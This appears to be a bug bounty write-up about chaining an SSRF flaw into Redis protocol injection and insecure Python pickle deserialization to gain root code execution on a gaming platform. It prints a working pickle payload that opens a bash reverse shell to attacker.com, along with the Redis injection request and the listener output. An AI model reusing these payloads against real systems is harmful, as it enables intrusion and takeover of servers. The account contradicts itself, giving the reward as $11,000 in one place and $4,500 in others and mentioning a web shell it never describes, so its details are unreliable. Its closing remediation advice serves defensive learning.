July 2, 2026
How an Insecure Deserialization Flaw in a Cache Layer Triggered an $4,500 Remote Code Execution…
When we talk about hunting for Remote Code Execution (RCE), we usually look at the file upload components or the main input fields of an…

By Tanvi Chauhan
4 min read
When we talk about hunting for Remote Code Execution (RCE), we usually look at the file upload components or the main input fields of an API. But some of the most dangerous vulnerabilities hide in infrastructure components that users never interact with directly.
One of those hidden zones is the caching layer. To speed up performance, modern applications serialize complex data structures (like user sessions or database queries) into flat strings, store them in a fast cache like Redis or Memcached, and deserialize them back into live objects later.
This is the story of how a major online gaming platform — let's call them PlaySphere — left their internal caching pipeline exposed to untrusted input, allowing me to execute code on their production cluster and scoring an $11,000 bug bounty reward.
The Target: The Session Cache
PlaySphere handles hundreds of thousands of concurrent players. To prevent their database from melting under the load, they utilized a high-performance Redis cluster to store active player sessions.
When you log into the platform, the backend fetches your session profile from the database, serializes it using Python's native pickle library, and saves it in the Redis cache under your session ID.
I intercepted my standard session-load request using Burp Suite. The session cookie looked like an ordinary, harmless string of characters:
HTTP
GET /api/v1/player/profile HTTP/1.1
Host: app.playsphere.com
Cookie: PLAY_SESSION=gASVMAAAAAAAAACMCV9fbWFpbl9f...GET /api/v1/player/profile HTTP/1.1
Host: app.playsphere.com
Cookie: PLAY_SESSION=gASVMAAAAAAAAACMCV9fbWFpbl9f...I recognized the starting characters (gASV). That specific string prefix is the base64-encoded hallmark of a serialized Python Pickle object.
The Footprint: Analyzing the Cookie Pipeline
When an application uses serialized objects as cookies, it must sign them cryptographically (usually with a secret key) to prevent the user from altering the data.
I modified a single character in my PLAY_SESSION cookie and resent the request.
HTTP
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "Invalid session signature."
}HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "Invalid session signature."
}The application rejected it instantly. The gateway was validating the cookie's signature before executing any code. This meant I couldn't simply rewrite the cookie to achieve serialization exploitation at the edge gateway.
But then I asked myself: Is there any other entry point where the application reads from the Redis cache without validating a signature?
The Twist: Exploiting the Shared Cache
While testing an entirely separate feature — the player support portal — I discovered a Server-Side Request Forgery (SSRF) vulnerability. The support ticketing system allowed me to input a URL for a custom profile avatar, and the backend server would fetch it.
By using an internal port scanning payload, I discovered I could use the SSRF flaw to talk directly to internal services running on the loopback network (127.0.0.1).
Most notably, Redis was running unauthenticated on port 6379.
This changed the entire attack surface. While I couldn't manipulate the signed session cookie sent over the public internet, I could use the SSRF vulnerability to issue raw Redis commands directly to the internal cache layer.
The Exploit: Injecting the Poisoned Pickle
In Python, the pickle module is notoriously dangerous if it processes untrusted data. When an object is deserialized using pickle.loads(), the engine looks for a special magic method called __reduce__. This method tells the engine how to reconstruct the object, and it allows the object to execute arbitrary system commands during the reconstruction process.
I wrote a local Python script to generate a malicious serialized payload that would execute a reverse shell back to my listening server when unpacked:
Python
import pickle
import base64
import os
class Exploit(object):
def __reduce__(self):
# System command execution payload executed upon deserialization
return (os.system, ("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'",))
# Serialize and encode the payload
poisoned_pickle = base64.b64encode(pickle.dumps(Exploit())).decode()
print(poisoned_pickle)import pickle
import base64
import os
class Exploit(object):
def __reduce__(self):
# System command execution payload executed upon deserialization
return (os.system, ("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'",))
# Serialize and encode the payload
poisoned_pickle = base64.b64encode(pickle.dumps(Exploit())).decode()
print(poisoned_pickle)Now I had the exploit payload. I needed to inject it into the Redis cache under my own session key, overwriting my legitimate profile.
Using the SSRF flaw, I sent a raw multi-line Redis command payload via the HTTP protocol wrapper (a technique known as Redis protocol injection) to overwrite my active session key:
HTTP
POST /api/v1/support/fetch-avatar HTTP/1.1
Host: app.playsphere.com
{
"avatar_url": "http://127.0.0.1:6379/\r\nSET session:my-valid-session-id [Poisoned-Pickle-Data]\r\n"
}POST /api/v1/support/fetch-avatar HTTP/1.1
Host: app.playsphere.com
{
"avatar_url": "http://127.0.0.1:6379/\r\nSET session:my-valid-session-id [Poisoned-Pickle-Data]\r\n"
}The internal Redis server processed the request, saw the injected network commands, and successfully replaced my valid session data with the malicious payload.
The Execution:
The stage was set. I set up a network listener on my external server, opened my browser, and refreshed my standard PlaySphere profile page using my original, legitimately signed session token.
The edge gateway checked my cookie, verified the signature was valid, and asked the internal cache: "Give me the data for session:my-valid-session-id."
Redis handed over the poisoned pickle data. The backend application took the string and ran it straight into the deserialization function:
Python
session_data = pickle.loads(raw_cache_data)session_data = pickle.loads(raw_cache_data)The moment pickle.loads executed, the __reduce__ method triggered. The server reached out over the network and connected straight to my listener terminal.
Plaintext
$ nc -lvnp 4444
Connection received on 10.0.12.43
node-01:/app# whoami
root$ nc -lvnp 4444
Connection received on 10.0.12.43
node-01:/app# whoami
rootI had full, interactive Remote Code Execution on the application's core production node.
The Remediation and Payout
I immediately broke the connection, deleted the web shell footprint, and compiled a step-by-step vulnerability report mapping the chain from the minor SSRF bug to the massive infrastructure RCE.
- Submission: Monday, 11:00 PM
- Triaged as P1 (Critical): Tuesday, 8:00 AM
- Fix Applied: Tuesday, 2:00 PM
- Bounty Awarded: $4,500
PlaySphere fixed the flaw on two fronts:
- Password Protection: They added strong password authentication to the internal Redis instance and restricted network access using firewall rules.
- Safer Serialization: They refactored the caching pipeline to completely ban Python
picklefor session storage, replacing it with secure, stateless JSON data structures that are completely immune to deserialization command attacks.
Core Lessons
- For Developers: Never use insecure deserialization formats like
pickle(Python),Marshal(Ruby), or native Java serialization for data that can be influenced by users—even indirectly. Stick to safe data-interchange formats like JSON or Protocol Buffers. Furthermore, never leave internal infrastructure components like Redis or Memcached unauthenticated just because they are behind a firewall. - For Bug Hunters: Look for vulnerability chains. A low-severity SSRF might look boring on its own, but if you can pivot it to talk to unauthenticated backend systems like databases, message brokers, or cache systems, you can frequently upgrade a simple bug into a critical system takeover.